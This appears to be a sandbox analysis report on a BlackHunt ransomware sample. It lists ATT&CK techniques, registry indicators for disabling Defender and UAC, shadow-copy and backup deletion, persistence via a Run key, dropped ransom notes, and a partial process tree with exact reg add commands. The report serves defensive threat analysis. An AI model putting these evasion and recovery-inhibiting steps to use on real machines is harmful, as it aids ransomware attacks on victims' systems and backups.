70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878

Data Destruction

T1485

pid	Process
2424	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1392	bcdedit.exe
1640	bcdedit.exe

Renames multiple (123) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
2544	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\H:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\M:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\L:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\W:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\Y:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\G:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\B:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\I:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\X:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\J:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\R:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\P:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\A:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\S:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\Z:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\N:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\O:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\K:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\V:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\E:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\T:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened (read-only)	\??\U:	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\7-Zip\Lang\va.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 6.0.25 (x64).swidtag	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\el.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sw.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\dotnet\ThirdPartyNotices.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\et.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\io.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\readme.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eu.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ja.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pt-br.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\he.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sl.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\tk.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\classfile_constants.h	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ar.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fr.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\eo.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\hi.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ku.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\dotnet\LICENSE.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\jre\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\7-Zip\#BlackHunt_Private.key	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pl.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jawt.h	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\bn.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nb.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\pa-in.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jni.h	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File created	C:\Program Files\7-Zip\#BlackHunt_ReadMe.hta	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lij.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3992	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
4604	vssadmin.exe
3184	vssadmin.exe
5072	vssadmin.exe
4484	vssadmin.exe
4632	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeRestorePrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeBackupPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeTakeOwnershipPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeAuditPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeSecurityPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeIncBasePriorityPrivilege	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Token: SeBackupPrivilege	4088	vssvc.exe
Token: SeRestorePrivilege	4088	vssvc.exe
Token: SeAuditPrivilege	4088	vssvc.exe
Token: SeBackupPrivilege	2384	wbengine.exe
Token: SeRestorePrivilege	2384	wbengine.exe
Token: SeSecurityPrivilege	2384	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4456 wrote to memory of 3336	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	97
PID 4456 wrote to memory of 3336	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	97
PID 4456 wrote to memory of 5004	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	100
PID 4456 wrote to memory of 5004	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	100
PID 4456 wrote to memory of 4768	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	102
PID 4456 wrote to memory of 4768	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	102
PID 4456 wrote to memory of 4624	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	104
PID 4456 wrote to memory of 4624	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	104
PID 4456 wrote to memory of 4056	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	106
PID 4456 wrote to memory of 4056	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	106
PID 4768 wrote to memory of 5108	4768	cmd.exe	109
PID 4768 wrote to memory of 5108	4768	cmd.exe	109
PID 5004 wrote to memory of 1960	5004	cmd.exe	108
PID 5004 wrote to memory of 1960	5004	cmd.exe	108
PID 4056 wrote to memory of 4600	4056	cmd.exe	110
PID 4056 wrote to memory of 4600	4056	cmd.exe	110
PID 4624 wrote to memory of 3208	4624	cmd.exe	111
PID 4624 wrote to memory of 3208	4624	cmd.exe	111
PID 3336 wrote to memory of 1956	3336	cmd.exe	99
PID 3336 wrote to memory of 1956	3336	cmd.exe	99
PID 4456 wrote to memory of 1180	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	114
PID 4456 wrote to memory of 1180	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	114
PID 4456 wrote to memory of 3448	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	117
PID 4456 wrote to memory of 3448	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	117
PID 4456 wrote to memory of 2488	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	119
PID 4456 wrote to memory of 2488	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	119
PID 4456 wrote to memory of 4800	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	121
PID 4456 wrote to memory of 4800	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	121
PID 1180 wrote to memory of 3292	1180	cmd.exe	123
PID 1180 wrote to memory of 3292	1180	cmd.exe	123
PID 4456 wrote to memory of 4748	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	124
PID 4456 wrote to memory of 4748	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	124
PID 3448 wrote to memory of 3960	3448	cmd.exe	126
PID 3448 wrote to memory of 3960	3448	cmd.exe	126
PID 4456 wrote to memory of 2816	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	127
PID 4456 wrote to memory of 2816	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	127
PID 4456 wrote to memory of 3104	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	128
PID 4456 wrote to memory of 3104	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	128
PID 2488 wrote to memory of 3744	2488	cmd.exe	131
PID 2488 wrote to memory of 3744	2488	cmd.exe	131
PID 4800 wrote to memory of 2520	4800	cmd.exe	133
PID 4800 wrote to memory of 2520	4800	cmd.exe	133
PID 4456 wrote to memory of 5080	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	132
PID 4456 wrote to memory of 5080	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	132
PID 4456 wrote to memory of 4560	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	135
PID 4456 wrote to memory of 4560	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	135
PID 4456 wrote to memory of 3180	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	137
PID 4456 wrote to memory of 3180	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	137
PID 4456 wrote to memory of 456	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	144
PID 4456 wrote to memory of 456	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	144
PID 4748 wrote to memory of 3328	4748	cmd.exe	138
PID 4748 wrote to memory of 3328	4748	cmd.exe	138
PID 2816 wrote to memory of 4848	2816	cmd.exe	143
PID 2816 wrote to memory of 4848	2816	cmd.exe	143
PID 4456 wrote to memory of 2964	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	141
PID 4456 wrote to memory of 2964	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	141
PID 4456 wrote to memory of 2480	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	145
PID 4456 wrote to memory of 2480	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	145
PID 4456 wrote to memory of 3996	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	146
PID 4456 wrote to memory of 3996	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	146
PID 5080 wrote to memory of 2644	5080	cmd.exe	158
PID 5080 wrote to memory of 2644	5080	cmd.exe	158
PID 4456 wrote to memory of 4996	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	149
PID 4456 wrote to memory of 4996	4456	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe	149

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe
"C:\Users\Admin\AppData\Local\Temp\70ad480aeb3a9f350259689c0f0ade85f1a2f25430bbb8850f8cbe288f8ee878.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3208
- C:\Windows\System32\cmd.exe
